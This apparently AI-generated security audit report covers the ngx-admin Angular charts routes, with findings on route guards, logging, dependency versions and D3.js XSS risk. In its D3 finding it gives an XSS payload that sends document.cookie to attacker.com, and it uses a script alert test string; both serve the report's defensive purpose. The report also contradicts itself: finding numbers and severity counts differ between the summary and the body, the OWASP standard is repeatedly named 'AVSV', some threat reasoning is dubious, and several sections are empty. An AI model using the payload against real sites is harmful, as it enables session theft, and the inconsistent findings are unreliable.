Security Audit Report

Application: ngx-admin Document Title: Security Audit Report Date: April 2026 Assessment Scope: Charts Module — /charts, /charts/chartjs, /charts/d3 Prepared By: DocAgent — Automated Codebase Documentation Analysis Classification: Internal Use Only

1. Executive Summary

Generated by DocAgent — automated codebase documentation analysis. Subject matter expert review is recommended before distribution.

Overall Security Posture Rating: Moderate

The three screens assessed in this audit — the Charts shell (/charts), the Chart.js showcase (/charts/chartjs), and the D3 visualization page (/charts/d3) — represent a lightweight, largely presentational tier of the ngx-admin application. The components themselves are architecturally minimal: empty class bodies, no API calls, no user input handling, and no direct data persistence. This minimalism substantially reduces the attack surface at the component level. The application demonstrates sound use of Angular's component separation-of-concerns principle, and the documented awareness of route guard requirements reflects a security-conscious development approach.

However, the most significant security risks identified in this assessment are not within the component code itself — they arise from what is absent or undocumented: the routing module configuration that should enforce authentication and authorization for the entire /charts route hierarchy. All three screens explicitly acknowledge that access control is delegated to Angular route guards defined in routing modules that were not provided for review. This creates an unverifiable gap: if those guards are misconfigured, absent, or bypassable, the entire charts module becomes publicly accessible. Additionally, the D3 screen introduces a latent XSS risk through D3.js's DOM manipulation APIs in child components, and the Chart.js screen's reliance on hardcoded template data creates maintainability and potential data-integrity concerns. The absence of any security logging or monitoring instrumentation across all three screens means that unauthorized access attempts or client-side errors would go undetected.

The top three highest-risk findings are: (1) SEC-001 — Unverified Route Guard Coverage, a potential broken access control issue that could expose the entire charts module to unauthenticated users if guards are absent or misconfigured; (2) SEC-007 — D3.js XSS via DOM Manipulation in child components, which could allow script injection if user-controlled data reaches D3's .html() or .append() methods; and (3) SEC-004 — Absence of Security Logging and Monitoring across all screens, which prevents detection of unauthorized access or abuse. The finding distribution is: Critical: 0, High: 2, Medium: 3, Low: 3, Info: 4.

This assessment is based exclusively on technical documentation review. It does not include dynamic application security testing (DAST), static application security testing (SAST), penetration testing, or runtime analysis. Findings marked "(documented behavior — verify with penetration testing)" require live validation before risk can be formally closed. Findings marked "(not documented — requires security testing to confirm)" represent gaps where the documentation is silent and live testing is the only means of confirmation.

2. Audit Methodology

2.1 Frameworks and Standards

2.2 Scope

All screens provided in the April 2026 documentation package for the ngx-admin application:

• Charts shell component — /charts
• Chart.js showcase component — /charts/chartjs
• D3 visualization component — /charts/d3

2.3 Assessment Approach

Each screen's documentation was evaluated across eleven security domains: (1) Authentication & Session Management, (2) Authorization & Access Control, (3) Input Validation & Sanitization, (4) Data Protection, (5) API Security, (6) Error Handling & Information Disclosure, (7) Business Logic Security, (8) Client-Side Security, (9) Cryptographic Practices, (10) Security Logging & Monitoring, and (11) Third-Party Integration Security.

2.4 Limitations

• This assessment is based on per-screen codebase documentation, not live application testing.
• Template files (*.component.html) and stylesheet files (*.component.scss) were not provided for the Chartjs and D3 screens. Findings related to template-level vulnerabilities are flagged as requiring verification.
• Routing module files (charts-routing.module.ts, app-routing.module.ts) were not provided. Route guard configuration cannot be confirmed.
• Angular module declaration files were not provided. The full list of imported components and third-party dependencies cannot be confirmed.
• No DAST, SAST, software composition analysis (SCA), or penetration testing was performed.

2.5 Severity Definitions

3. Risk Summary Dashboard

4. OWASP Top 10 Coverage

5. Screen-by-Screen Findings

5.1 Charts — /charts

Security Profile:

SEC-001: Unverified Route Guard Coverage for /charts Hierarchy

Description: The ChartsComponent documentation explicitly states that "the component itself contains no explicit role-based access control logic, conditional rendering guards, or permission checks" and that "access control, if any, would be enforced at the Angular Router level via route guards." The routing module files (charts-routing.module.ts, app-routing.module.ts) were not provided for review. This means it cannot be confirmed whether a CanActivate guard (such as AuthGuard) is applied to the /charts route or any of its child routes. If no guard is configured, or if the guard is applied inconsistently (e.g., only to some child routes), unauthenticated users could access the charts module directly by navigating to /charts, /charts/chartjs, or /charts/d3 without a valid session.

Evidence: Section 2 of the Charts screen documentation states: "Access control, if any, would be enforced at the Angular Router level via route guards (e.g., CanActivate guards such as AuthGuard) defined in the routing module that registers this component — those files are not included in the provided source." Section 14 states: "Security enforcement for the /charts route (such as requiring an authenticated session) must be implemented via Angular route guards in the routing module. Developers should verify that an appropriate CanActivate guard is applied to this route in the routing configuration."

Attack Scenario: An unauthenticated external user navigates directly to https://[app-domain]/charts/chartjs. If no CanActivate guard is registered on the /charts parent route or the /charts/chartjs child route, Angular's router renders the ChartjsComponent without any authentication check. The attacker gains access to all data visualizations and any sensitive business data they represent without presenting credentials.

Remediation:

1. Locate charts-routing.module.ts (or the relevant section of app-routing.module.ts) and confirm that a CanActivate guard implementing authentication verification is applied to the /charts parent route definition.
2. Apply the guard at the parent route level (not just individual child routes) so that all current and future child routes under /charts inherit the protection automatically:

   {
     path: 'charts',
     component: ChartsComponent,
     canActivate: [AuthGuard],
     children: [...]
   }

3. Verify the fix by clearing session cookies and attempting to navigate directly to /charts, /charts/chartjs, and /charts/d3 — each should redirect to the login page, not render the component.

[Not documented — WHO: the security lead or routing module owner; WHAT: Is a CanActivate guard currently registered on the /charts parent route in charts-routing.module.ts or app-routing.module.ts? If so, which guard class is used and what authentication check does it perform?; WHERE: Insert confirmed guard class name and authentication logic into the Description and Remediation sections of SEC-001]

Source Evidence: Charts (/charts) — Sections 2 and 14

SEC-002: No Wildcard/404 Route Handling for Unmatched Child Routes

Description: The documentation notes that "the only edge case relevant at this level is an unmatched child route — Angular's router would handle this by rendering nothing in the outlet or redirecting to a wildcard/404 route if one is configured in the routing module." The routing module was not provided, so it cannot be confirmed whether a wildcard route (**) is configured under /charts. If no wildcard child route is defined, navigating to an invalid path such as /charts/nonexistent silently renders an empty outlet with no user feedback and no error logging. While this is not directly exploitable, it can mask routing misconfigurations and provides no observable signal when users or automated scanners probe for undocumented routes.

Evidence: Section 10 of the Charts screen documentation states: "the only edge case relevant at this level is an unmatched child route — Angular's router would handle this by rendering nothing in the outlet or redirecting to a wildcard/404 route if one is configured in the routing module."

Attack Scenario: An automated scanner probes /charts/admin, /charts/config, /charts/api, and similar paths. Without a wildcard route, each returns HTTP 200 with an empty outlet rather than HTTP 404, making it impossible to distinguish valid from invalid routes via status codes. This behavior can assist in application reconnaissance by confirming the existence of the /charts module without triggering error responses.

Remediation:

1. Add a wildcard child route under /charts in charts-routing.module.ts that redirects to a defined 404 or "not found" page:

   { path: '**', redirectTo: '/404' }

2. Ensure the application-level 404 page does not disclose internal route structure, component names, or framework version information.
3. Verify by navigating to /charts/nonexistent — the browser should redirect to the 404 page and the server should return an appropriate HTTP status code.

Source Evidence: Charts (/charts) — Section 10

SEC-003: Missing ChangeDetectionStrategy.OnPush — Defense-in-Depth Gap

Description: The documentation notes that ChartsComponent does not specify changeDetection: ChangeDetectionStrategy.OnPush. While the documentation correctly identifies this as having "no functional impact given the component's empty class body," the default CheckAlways strategy means Angular re-evaluates this component on every change detection cycle triggered anywhere in the application. For a shell component with no state, this is unnecessary processing. More relevantly from a security design perspective, explicitly declaring OnPush on shell components establishes a clear architectural boundary that prevents accidental introduction of reactive state without deliberate design — a defense-in-depth practice aligned with secure-by-default principles.

Evidence: Section 17 of the Charts screen documentation states: "the component does not specify Angular's changeDetection: ChangeDetectionStrategy.OnPush in its @Component decorator, which is a best-practice recommendation for shell components that have no local state."

Attack Scenario: This is not directly exploitable. However, if a future developer adds reactive state to ChartsComponent without understanding the change detection implications, the default CheckAlways strategy could cause unintended re-rendering of child components, potentially exposing stale or incorrect data in edge cases.

Remediation:

1. Add changeDetection: ChangeDetectionStrategy.OnPush to the @Component decorator:

   @Component({
     selector: 'ngx-charts',
     templateUrl: './charts.component.html',
     changeDetection: ChangeDetectionStrategy.OnPush
   })

2. Import ChangeDetectionStrategy from @angular/core.
3. Verify that child routes continue to render correctly after the change — OnPush on a shell component with no @Input bindings should have no functional impact.

Source Evidence: Charts (/charts) — Section 17

SEC-004: No Security Logging or Monitoring Instrumentation

Description: The documentation explicitly confirms that no logging or monitoring instrumentation is present in ChartsComponent: "No error tracking services (such as Sentry, Datadog, LogRocket, or Bugsnag) and no analytics event calls (such as PostHog, Mixpanel, or Google Analytics) are present or referenced in this component." While a shell component with no business logic has limited logging requirements, the complete absence of any observability integration means that navigation events, route guard failures, and unexpected rendering errors at this level are invisible to security monitoring systems. This finding is consistent across all three assessed screens (see also SEC-008 and SEC-011).

Evidence: Section 10 of the Charts screen documentation states: "No error tracking services (such as Sentry, Datadog, LogRocket, or Bugsnag) and no analytics event calls (such as PostHog, Mixpanel, or Google Analytics) are present or referenced in this component."

Attack Scenario: An attacker repeatedly probes the /charts route hierarchy with invalid session tokens or manipulated authorization headers. Because no logging is present at the component level and the routing module was not reviewed, there is no confirmed mechanism to detect, alert on, or audit these access attempts.

Remediation:

1. Integrate a centralized error tracking service (e.g., Sentry) at the Angular application level via ErrorHandler — this does not require per-component instrumentation.
2. Ensure that route guard failures (authentication redirects) are logged with sufficient context (timestamp, attempted route, user identifier if available) to support security incident investigation.
3. Verify that the logging implementation does not capture sensitive data such as authentication tokens or PII in log payloads.

[Not documented — WHO: the DevOps or platform engineering team; WHAT: Is a centralized Angular ErrorHandler or application-level logging service (e.g., Sentry, Datadog RUM) configured for this application? If so, does it capture route navigation events and guard failures?; WHERE: Insert confirmed logging infrastructure details into the Description section of SEC-004, SEC-008, and SEC-011]

Source Evidence: Charts (/charts) — Section 10

SEC-005: Standalone Component Migration Gap — NgModule Architecture

Description: The documentation notes that ChartsComponent uses the traditional NgModule-based architecture rather than Angular's standalone component pattern, and identifies this as "a migration opportunity as the codebase evolves toward modern Angular conventions." From a security perspective, standalone components offer more explicit dependency declaration, reducing the risk of unintended transitive imports through shared NgModules. The NgModule pattern can obscure which components, directives, and pipes are available within a module's scope, potentially allowing unintended access to security-sensitive components if module boundaries are not carefully maintained.

Evidence: Section 17 of the Charts screen documentation states: "the absence of a standalone: true flag suggests this component uses the traditional NgModule-based architecture rather than Angular's newer standalone component pattern, which may represent a migration opportunity."

Attack Scenario: This is an architectural concern rather than a directly exploitable vulnerability. In a large NgModule, a developer may inadvertently expose a security-sensitive component or directive to a broader scope than intended, because NgModule declarations are shared across all components within the module.

Remediation:

1. Plan a migration to Angular standalone components as part of the next major refactoring cycle, prioritizing security-sensitive modules first.
2. In the interim, audit the NgModule declaration for the charts feature module to confirm that no security-sensitive components or directives are unintentionally shared.
3. Document the NgModule boundary explicitly in the module file with a comment listing which components are intentionally exported vs. internal-only.

Source Evidence: Charts (/charts) — Section 17

5.2 Chartjs — /charts/chartjs

Security Profile:

SEC-006: Hardcoded Chart Data in Template — Data Integrity and Maintainability Risk

Description: The documentation confirms that ChartjsComponent is a stateless presentational component with no TypeScript class logic, and explicitly states: "All chart data displayed on this screen is either statically defined in the HTML template or within child components' own definitions." Section 17 reinforces this: "The complete absence of any TypeScript logic means all chart configuration and data is likely hardcoded in the HTML template, making it difficult to maintain, test, or make data-driven." Hardcoded data in templates bypasses all server-side authorization checks — the data is always visible to any user who can render the component, regardless of their role or permissions. If the charts are intended to display business-sensitive metrics (even as demo data), hardcoded values in the template are served to all users who can access the route, with no ability to apply row-level or role-based data filtering.

Evidence: Section 5 of the Chartjs screen documentation states: "All chart data displayed on this screen is either statically defined in the HTML template or within child components' own definitions." Section 17 states: "The complete absence of any TypeScript logic means all chart configuration and data is likely hardcoded in the HTML template, making it difficult to maintain, test, or make data-driven."

Attack Scenario: A user with a low-privilege role (e.g., "viewer") accesses /charts/chartjs. Because the data is hardcoded in the template and no server-side data filtering is applied, the user sees the same dataset as an administrator. If the hardcoded data represents real business metrics (even as representative samples), this constitutes unauthorized data exposure. Additionally, because the data is in the template rather than fetched from an API, it cannot be updated without a code deployment, increasing the risk that stale or incorrect data is presented as current.

Remediation:

1. Migrate chart datasets from hardcoded template literals to TypeScript component properties, populated either from a service or from @Input bindings:

   export class ChartjsComponent implements OnInit {
     public barChartData: ChartData = { datasets: [], labels: [] };
     constructor(private chartDataService: ChartDataService) {}
     ngOnInit(): void {
       this.chartDataService.getBarChartData().subscribe(data => this.barChartData = data);
     }
   }

2. If the screen is genuinely a static demo with no real business data, document this explicitly in the component and add a code comment confirming the data is synthetic — this prevents future developers from treating it as a live data source.
3. Verify by inspecting the compiled template in the browser's developer tools — no real business metrics should appear as literal values in the rendered HTML source.

Source Evidence: Chartjs (/charts/chartjs) — Sections 5 and 17

SEC-007: Chart.js Canvas Accessibility Gap — Indirect Security Implication

Description: Section 17 of the documentation identifies: "The absence of any accessibility considerations for Chart.js canvas elements is a known gap in chart-based UIs that should be addressed." The development team is credited for documenting this gap. From a security perspective, <canvas> elements without accessible fallback content (aria-label, role, or inner text fallback) can be exploited in clickjacking scenarios where an attacker overlays a transparent canvas over a sensitive UI element. Additionally, without explicit aria attributes, assistive technologies may interact with canvas elements in unpredictable ways that could be leveraged in social engineering attacks targeting users with disabilities.

Evidence: Section 17 of the Chartjs screen documentation states: "The absence of any accessibility considerations for Chart.js canvas elements is a known gap in chart-based UIs that should be addressed." (Development team credited for documenting this known issue.)

Attack Scenario: An attacker constructs a page that iframes /charts/chartjs and overlays a transparent <canvas> element over a "confirm payment" button on the attacker's page. Because the Chart.js canvas has no explicit aria role or pointer-events restriction, the visual overlap is not detectable by standard browser clickjacking defenses that rely on frame-busting scripts. This is a low-probability scenario but is relevant if the application does not implement X-Frame-Options or Content-Security-Policy: frame-ancestors headers.

Remediation:

1. Add aria-label and role="img" attributes to all Chart.js <canvas> elements in the template:

   <canvas role="img" aria-label="Bar chart showing monthly revenue by region"></canvas>

2. Implement X-Frame-Options: DENY or Content-Security-Policy: frame-ancestors 'none' HTTP response headers at the server/CDN level to prevent the application from being embedded in iframes.
3. Verify by using a screen reader (e.g., NVDA, VoiceOver) to confirm that chart elements are announced meaningfully, and by attempting to embed the page in an iframe from a different origin — the browser should block the embedding.

[Not documented — WHO: the DevOps or infrastructure team; WHAT: Are X-Frame-Options or Content-Security-Policy: frame-ancestors HTTP headers currently configured on the application's web server or CDN?; WHERE: Insert confirmed header configuration into the Remediation section of SEC-007]

Source Evidence: Chartjs (/charts/chartjs) — Section 17

SEC-008: No Security Logging or Monitoring — Chartjs Screen

Description: The documentation confirms that no logging or monitoring instrumentation is present in ChartjsComponent. This is consistent with the pattern observed in SEC-004 for the parent Charts shell. Section 10 explicitly states: "There are no logging or monitoring instrumentation calls in this component — no console.log, console.warn, console.error, no Sentry/DataDog/LogRocket calls, and no analytics event tracking." While a static presentational component has minimal logging requirements, the complete absence of any observability integration means that Chart.js rendering failures, unexpected data states, or unauthorized access events at this route are invisible to security monitoring.

Evidence: Section 10 of the Chartjs screen documentation states: "There are no logging or monitoring instrumentation calls in this component — no console.log, console.warn, console.error, no Sentry/DataDog/LogRocket calls, and no analytics event tracking (PostHog, Mixpanel, Google Analytics)."

Attack Scenario: See SEC-004 for the shared attack scenario. The absence of logging across the entire charts module means that a systematic probing of all chart routes would generate no security alerts.

Remediation: See SEC-004 remediation steps. Apply the same centralized ErrorHandler integration to cover this route.

Source Evidence: Chartjs (/charts/chartjs) — Section 10

SEC-009: Unconfirmed Third-Party Dependency Versions — Chart.js and ng2-charts

Description: The documentation identifies Chart.js as the underlying visualization engine and notes that an Angular wrapper such as ng2-charts or ngx-charts is likely used, but states: "The full list of third-party packages cannot be confirmed without reviewing the template file and the Angular module declaration for this component." No version numbers are documented for Chart.js, the Angular wrapper, or the Nebular UI framework. Without confirmed version information, it is not possible to assess whether known CVEs affect the installed versions. Chart.js has had security-relevant releases addressing prototype pollution and ReDoS vulnerabilities in past versions.

Evidence: Section 13 of the Chartjs screen documentation states: "The only external dependency implied by the component is the Chart.js library itself... The full list of third-party packages cannot be confirmed without reviewing the template file and the Angular module declaration for this component."

Attack Scenario: If an outdated version of Chart.js with a known prototype pollution vulnerability (e.g., CVE-2020-7746 affecting versions prior to 2.9.4) is installed, an attacker who can influence chart configuration data could pollute the JavaScript prototype chain, potentially affecting the behavior of other application components.

Remediation:

1. Run a software composition analysis (SCA) tool (e.g., npm audit, Snyk, OWASP Dependency-Check) against the project's package.json and package-lock.json to identify installed versions and known CVEs.
2. Update Chart.js, ng2-charts/ngx-charts, and Nebular to their latest stable versions.
3. Integrate SCA scanning into the CI/CD pipeline to automatically flag new vulnerabilities on each build.

[Not documented — WHO: the development team or build engineer; WHAT: What are the exact installed versions of Chart.js, the Angular chart wrapper library (ng2-charts or equivalent), and @nebular/theme as declared in package.json?; WHERE: Insert confirmed version numbers into the Description section of SEC-009 and cross-reference against the NVD CVE database]

Source Evidence: Chartjs (/charts/chartjs) — Section 13

5.3 D3 — /charts/d3

Security Profile:

SEC-010: D3.js DOM Manipulation XSS Risk in Child Components

Description: The documentation explicitly identifies this risk: "The primary security consideration relevant to D3-based screens in general is the risk of XSS through D3's .html() or .append() methods if user-supplied data is rendered as raw HTML — however, this concern applies to child components, not to this parent shell." D3.js operates outside Angular's template sanitization pipeline. Angular's built-in XSS protection (via DomSanitizer) applies to Angular template bindings ({{ }}, [property]), but D3's imperative DOM manipulation methods bypass this entirely. Specifically:

• d3.select(...).html(userValue) injects raw HTML, including <script> tags and event handlers.
• d3.select(...).append('foreignObject').html(userValue) can inject arbitrary HTML into SVG.
• d3.select(...).attr('onclick', userValue) can inject JavaScript event handlers.

If any child component rendered by D3Component passes data from an API response, URL parameter, or user input directly to these D3 methods without sanitization, XSS is achievable.

Evidence: Section 14 of the D3 screen documentation states: "The primary security consideration relevant to D3-based screens in general is the risk of XSS through D3's .html() or .append() methods if user-supplied data is rendered as raw HTML — however, this concern applies to child components, not to this parent shell." (Development team credited for documenting this risk.)

Attack Scenario: A child D3 component fetches dataset labels from an API endpoint. An attacker with write access to the data source (or via a stored XSS payload in the backend) injects the value <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> as a data label. The child component passes this value to d3.select('.label').html(dataLabel). D3 injects the raw HTML into the DOM, the browser executes the onerror handler, and the attacker receives the victim's session cookie.

Remediation:

1. Audit all child components rendered by D3Component for uses of d3.selection.html(), d3.selection.attr() with event handler attributes, and d3.selection.append('foreignObject') — replace with safe alternatives:

   // UNSAFE:
   d3.select('.label').html(dataLabel);
   // SAFE:
   d3.select('.label').text(dataLabel); // text() encodes HTML entities

2. For cases where HTML rendering is genuinely required, sanitize input using Angular's DomSanitizer.sanitizeHtml() before passing to D3:

   import { DomSanitizer } from '@angular/platform-browser';
   const safeHtml = this.sanitizer.sanitize(SecurityContext.HTML, rawValue) ?? '';
   d3.select('.label').html(safeHtml);

3. Implement a Content Security Policy (CSP) header that disallows inline scripts (script-src 'self') to provide a defense-in-depth layer against XSS exploitation even if a D3 injection point is missed.
4. Verify by injecting <script>alert(1)</script> as a data value in a test environment and confirming it is rendered as escaped text, not executed.

[Not documented — WHO: the development team responsible for D3 child components; WHAT: Which specific D3 methods (.html(), .append(), .attr()) are used in child components rendered by D3Component, and do any of them receive data from API responses, URL parameters, or user inputs without prior sanitization?; WHERE: Insert confirmed D3 method usage and data sources into the Description and Attack Scenario sections of SEC-010]

Source Evidence: D3 (/charts/d3) — Section 14

SEC-011: No Security Logging or Monitoring — D3 Screen

Description: The documentation confirms that no logging or monitoring instrumentation is present in D3Component. This is the third consecutive screen with no observability integration (see SEC-004 and SEC-008). For the D3 screen specifically, the absence of logging is elevated to High severity because SEC-010 identifies a credible XSS risk in child components. Without logging, a successful XSS exploitation — including exfiltration of session tokens — would be undetectable from the server side. There would be no audit trail to support incident response, no alerting to trigger security team investigation, and no forensic evidence to determine the scope of a breach.

Evidence: Section 10 of the D3 screen documentation states: "No console.log, console.warn, or console.error statements are present in the component. No error tracking service calls (Sentry, DataDog, LogRocket, Bugsnag) or analytics event calls (PostHog, Mixpanel, Google Analytics) are present in this file."

Attack Scenario: An attacker successfully exploits the D3.js XSS vulnerability described in SEC-010 to exfiltrate session tokens from multiple users over a period of days. Because no client-side error monitoring or security event logging is in place, the attack is not detected until users report account compromise. The absence of logs makes it impossible to determine which users were affected, when the attack began, or what data was accessed.

Remediation:

1. Implement a centralized Angular ErrorHandler that forwards unhandled errors to a security monitoring platform (e.g., Sentry with security event tagging).
2. Add CSP violation reporting (report-uri or report-to directive) to the Content Security Policy header — this provides server-side visibility into XSS attempts even when client-side logging is absent.
3. Configure the monitoring platform to alert on error spikes at the /charts/d3 route, which may indicate active XSS exploitation.
4. Verify by triggering a deliberate JavaScript error in the D3 component and confirming it appears in the monitoring platform's event log within the expected SLA.

Source Evidence: D3 (/charts/d3) — Section 10

SEC-012: Potential Stub/Placeholder Component — Incomplete Implementation Risk

Description: Section 17 of the D3 screen documentation raises a significant concern: "the complete absence of any class body — no lifecycle hooks, no injected services, no type annotations — may indicate that this component is a stub or placeholder that was never fully implemented, or that all logic was intentionally pushed into child components. A new developer should verify whether the template file (d3.component.html) contains substantive content or is itself a placeholder." If D3Component is an incomplete stub that was deployed to production, it may expose an unfinished feature with unknown security properties. Stub components sometimes contain debug code, test credentials, or permissive access configurations that were intended to be removed before production deployment.

Evidence: Section 17 of the D3 screen documentation states: "the complete absence of any class body — no lifecycle hooks, no injected services, no type annotations — may indicate that this component is a stub or placeholder that was never fully implemented."

Attack Scenario: The d3.component.html template file (not reviewed) contains a development-time debug panel or hardcoded test data that was never removed before production deployment. An authenticated user navigating to /charts/d3 can access this debug content, which may expose internal data structures, API endpoint URLs, or environment configuration values.

Remediation:

1. Immediately review d3.component.html to confirm whether it contains substantive production content or is a placeholder/stub.
2. If it is a stub, either complete the implementation with proper security controls or remove the route from the production routing configuration until implementation is complete.
3. Establish a pre-deployment checklist that includes verification that no stub or placeholder components are registered in production routing modules.

[Not documented — WHO: the development team responsible for the D3 charts feature; WHAT: Does d3.component.html contain production-ready content, a placeholder, or any debug/development artifacts? What child components does it declare?; WHERE: Insert confirmed template content description into the Description and Attack Scenario sections of SEC-012]

Source Evidence: D3 (/charts/d3) — Section 17

SEC-013: Unconfirmed D3.js Version — Known CVE Exposure Risk

Description: The documentation confirms that D3.js is the core library for this screen but notes: "D3.js itself, while central to the screen's purpose, is not imported in this component file — it would be imported in child components or directives that perform the actual rendering." No version number is documented for D3.js. D3.js has had security-relevant releases, and older versions may be susceptible to prototype pollution or SVG injection vulnerabilities. This finding is related to SEC-009 (Chart.js version gap) and should be addressed as part of the same SCA remediation effort.

Evidence: Section 13 of the D3 screen documentation states: "D3.js itself, while central to the screen's purpose, is not imported in this component file — it would be imported in child components or directives that perform the actual rendering." No version information is provided anywhere in the documentation.

Attack Scenario: An outdated version of D3.js with a known SVG injection vulnerability is installed. An attacker who can influence the data rendered by a D3 child component injects a malicious SVG payload that executes JavaScript in the context of the application's origin, bypassing same-origin policy protections.

Remediation:

1. Run npm audit or an equivalent SCA tool to identify the installed D3.js version and any associated CVEs.
2. Update D3.js to the latest stable version (v7.x as of this report's date).
3. Integrate SCA scanning into the CI/CD pipeline (see SEC-009 remediation for shared pipeline steps).

[Not documented — WHO: the development team or build engineer; WHAT: What is the exact installed version of D3.js as declared in package.json?; WHERE: Insert confirmed version number into the Description section of SEC-013 and cross-reference against the NVD CVE database]

Source Evidence: D3 (/charts/d3) — Section 13

6. Finding Inventory

7. AVSV Compliance Summary

Note: Assessment is based exclusively on documentation review. Chapters with insufficient documentation coverage are marked "Limited Assessment." Compliance percentages reflect only the requirements that could be assessed from the provided documentation.

Key observations:

• V4 (Access Control) and V14 (Configuration) show 0% compliance based on assessable requirements — the routing module gap is the primary driver.
• V7 (Error Handling & Logging) shows 0% compliance — no logging or monitoring instrumentation is present across any assessed screen.
• V8, V10, V11, V12, V13 show high compliance but with "Limited Assessment" caveats — the components' minimal nature means few requirements are applicable, not that they are comprehensively implemented.
• Chapters V2, V3, and V9 cannot be meaningfully assessed without the routing module, server configuration, and session management documentation.

8. Remediation Roadmap

Phase 1: Immediate (0–7 days) — Critical Findings

No Critical findings were identified in this assessment.

Phase 2: Short-Term (1–4 weeks) — High Findings

• SEC-001: Confirm and enforce route guard coverage on /charts parent route — Effort: 2–4 hours (locate routing module, verify guard, add if missing, write integration test)
• SEC-010: Audit D3 child components for unsafe DOM manipulation methods and apply DomSanitizer or replace .html() with .text() — Effort: 1–3 days (depends on number of D3 child components and complexity of visualizations)
• SEC-011: Implement centralized Angular ErrorHandler with security monitoring integration and CSP violation reporting — Effort: 1–2 days (shared infrastructure work that also resolves SEC-004 and SEC-008)

Phase 2 Total Effort Estimate: 2–5 days

Phase 3: Medium-Term (1–3 months) — Medium Findings

• SEC-002: Add wildcard child route under /charts redirecting to a 404 page — Effort: 2–4 hours
• SEC-006: Migrate hardcoded Chart.js template data to TypeScript component properties backed by a data service — Effort: 2–5 days (depends on number of charts and whether a data service already exists)
• SEC-012: Review d3.component.html to confirm production readiness; remove or complete stub if applicable — Effort: 4–8 hours (review) + variable implementation time if stub

Phase 3 Total Effort Estimate: 3–7 days

Phase 4: Backlog — Low and Info Findings

• SEC-003: Add ChangeDetectionStrategy.OnPush to ChartsComponent — Effort: 30 minutes
• SEC-004: Centralized logging (resolved by SEC-011 implementation; verify coverage extends to /charts route) — Effort: 1 hour (verification only if SEC-011 is implemented first)
• SEC-005: Plan NgModule-to-standalone component migration for charts feature module — Effort: 1–2 days (planning); 3–5 days (implementation)
• SEC-007: Add aria-label and role="img" to Chart.js canvas elements; implement X-Frame-Options header — Effort: 4–8 hours
• SEC-008: Logging coverage for Chartjs screen (resolved by SEC-011 implementation; verify coverage) — Effort: 1 hour (verification only)
• SEC-009: Run SCA scan; update Chart.js and ng2-charts to latest stable versions; integrate SCA into CI/CD — Effort: 4–8 hours
• SEC-013: Run SCA scan for D3.js; update to latest stable version (shared effort with SEC-009) — Effort: Included in SEC-009 effort

Phase 4 Total Effort Estimate: 6–12 days

9. Positive Security Patterns

Pattern 1: Separation of Security Concerns via Route Guards

• Where: All three assessed screens — Charts (/charts), Chartjs (/charts/chartjs), D3 (/charts/d3)
• Standard Alignment: OWASP AVSV V4.1.1 (access control on trusted service layer); NIST SP 800-53 AC-3 (Access Enforcement)
• Description: All three screens consistently delegate authentication and authorization enforcement to Angular route guards at the routing module level rather than implementing ad-hoc checks within component classes. This is the architecturally correct pattern in Angular — centralizing access control in guards ensures consistent enforcement across all routes and prevents individual components from becoming security boundaries that can be bypassed.
• Recommendation: Extend this pattern by ensuring the routing module is included in future security audits, and by adding automated tests that verify route guards reject unauthenticated requests. Consider implementing a CanLoad guard in addition to CanActivate to prevent the feature module's JavaScript bundle from being downloaded by unauthenticated users.

Pattern 2: No Direct [innerHTML] Binding in Assessed Components

• Where: Charts (/charts), Chartjs (/charts/chartjs), D3 (/charts/d3) — component class and documented template patterns
• Standard Alignment: OWASP AVSV V5.3.3 (context-aware output encoding against XSS); CWE-79 (Cross-site Scripting); NIST SP 800-53 SI-10 (Information Input Validation)
• Description: The documentation explicitly confirms that none of the three assessed components use Angular's [innerHTML] binding or any other pattern that bypasses Angular's built-in template sanitization. The Charts screen documentation states: "The component does not use Angular's [innerHTML] binding or any other pattern that could introduce XSS vulnerabilities." This is a meaningful positive control — [innerHTML] is one of the most common sources of DOM XSS in Angular applications.
• Recommendation: Extend this pattern by establishing a linting rule (e.g., via @angular-eslint) that flags any use of [innerHTML] in the codebase and requires a security review before approval. Apply the same scrutiny to [outerHTML] and bypassSecurityTrustHtml() usages.

Pattern 3: Minimal Attack Surface Through Stateless Presentational Components

• Where: All three assessed screens
• Standard Alignment: OWASP AVSV V1.1.2 (threat modeling for security design); NIST SP 800-53 SA-8 (Security and Privacy Engineering Principles — principle of least functionality)
• Description: All three components are architecturally minimal — empty class bodies, no API calls, no user input handling, no session token management, and no sensitive data processing. This design minimizes the attack surface at the component level. A component that does nothing cannot be exploited for what it does. The development team has consciously applied the Angular principle of thin shell components, which aligns with the security principle of least functionality.
• Recommendation: Document this architectural decision explicitly in the project's security architecture documentation. Establish a component review checklist that flags any addition of API calls, user input handling, or data persistence to currently-stateless components — these additions should trigger a security review before merging.

Pattern 4: Documented Security Awareness of Known Risks

• Where: D3 (/charts/d3) — Section 14; Chartjs (/charts/chartjs) — Section 17; Charts (/charts) — Section 14
• Standard Alignment: OWASP AVSV V1.1.1 (secure software development lifecycle); NIST SP 800-53 SA-15 (Development Process, Standards, and Tools)
• Description: The development team has proactively documented known security risks within the screen documentation itself — including the D3.js XSS risk via .html() methods, the Chart.js canvas accessibility gap, and the requirement for route guard verification. This level of security awareness in developer-facing documentation is a positive indicator of a security-conscious development culture and reduces the risk that these issues are overlooked during future development.
• Recommendation: Formalize this practice by creating a "Security Considerations" section template for all screen documentation, and by linking documented security risks to the project's issue tracker so they are tracked to resolution rather than remaining as documentation notes.

10. Glossary

Application Domain Terms

OWASP Top 10 Categories Referenced

CWE Weakness Types Referenced

AVSV Chapter Names Referenced

Acronyms

Severity Levels

End of Security Audit Report — ngx-admin Charts Module — April 2026 Generated by DocAgent — automated codebase documentation analysis. Subject matter expert review is recommended before distribution.